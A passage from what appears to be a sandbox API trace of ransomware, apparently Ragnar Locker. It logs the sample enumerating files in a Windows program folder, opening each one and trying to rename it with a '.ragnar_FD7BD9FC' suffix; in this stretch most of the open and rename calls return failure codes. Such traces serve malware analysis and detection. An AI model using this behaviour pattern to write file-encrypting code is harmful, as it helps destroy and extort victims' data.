dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.385] CloseHandle (hObject=0xffffffff) returned 0 [0079.385] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" [0079.385] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.ragnar_FD7BD9FC" [0079.385] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.385] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0079.385] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.385] lstrcpyW (in: lpString1=0x1eb620, lpString2="Circle_SelectionSubpictureB.png" | out: lpString1="Circle_SelectionSubpictureB.png") returned="Circle_SelectionSubpictureB.png" [0079.385] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png") returned=".png" [0079.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.386] CloseHandle (hObject=0xffffffff) returned 0 [0079.386] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" [0079.386] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.ragnar_FD7BD9FC" [0079.386] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.386] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0079.386] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.386] lstrcpyW (in: lpString1=0x1eb620, lpString2="Circle_VideoInset.png" | out: lpString1="Circle_VideoInset.png") returned="Circle_VideoInset.png" [0079.386] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png") returned=".png" [0079.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.387] CloseHandle (hObject=0xffffffff) returned 0 [0079.387] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" [0079.387] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.ragnar_FD7BD9FC" [0079.387] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.387] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.387] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.387] lstrcpyW (in: lpString1=0x1eb620, lpString2="cloud_Thumbnail.bmp" | out: lpString1="cloud_Thumbnail.bmp") returned="cloud_Thumbnail.bmp" [0079.387] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp") returned=".bmp" [0079.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.387] CloseHandle (hObject=0xffffffff) returned 0 [0079.387] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" [0079.387] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.387] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.387] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0079.387] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.388] lstrcpyW (in: lpString1=0x1eb620, lpString2="Dot.png" | out: lpString1="Dot.png") returned="Dot.png" [0079.388] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png") returned=".png" [0079.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.388] CloseHandle (hObject=0xffffffff) returned 0 [0079.388] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" [0079.388] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.ragnar_FD7BD9FC" [0079.388] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.388] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0079.388] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.388] lstrcpyW (in: lpString1=0x1eb620, lpString2="DvdTransform.fx" | out: lpString1="DvdTransform.fx") returned="DvdTransform.fx" [0079.388] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx") returned=".fx" [0079.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.388] CloseHandle (hObject=0xffffffff) returned 0 [0079.388] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" [0079.389] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.ragnar_FD7BD9FC" [0079.389] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.389] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8132fe00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8132fe00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0079.389] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8137c0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8137c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0079.389] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.389] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.389] lstrcpyW (in: lpString1=0x1eb620, lpString2="Heart_ButtonGraphic.png" | out: lpString1="Heart_ButtonGraphic.png") returned="Heart_ButtonGraphic.png" [0079.389] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned=".png" [0079.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.390] CloseHandle (hObject=0xffffffff) returned 0 [0079.390] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" [0079.390] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.390] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.390] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.390] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.390] lstrcpyW (in: lpString1=0x1eb620, lpString2="heart_glass_Thumbnail.bmp" | out: lpString1="heart_glass_Thumbnail.bmp") returned="heart_glass_Thumbnail.bmp" [0079.390] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned=".bmp" [0079.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.391] CloseHandle (hObject=0xffffffff) returned 0 [0079.391] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" [0079.391] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.391] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.391] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.391] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.391] lstrcpyW (in: lpString1=0x1eb620, lpString2="Heart_SelectionSubpicture.png" | out: lpString1="Heart_SelectionSubpicture.png") returned="Heart_SelectionSubpicture.png" [0079.391] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned=".png" [0079.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.391] CloseHandle (hObject=0xffffffff) returned 0 [0079.391] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" [0079.391] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.391] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.391] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0079.392] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.392] lstrcpyW (in: lpString1=0x1eb620, 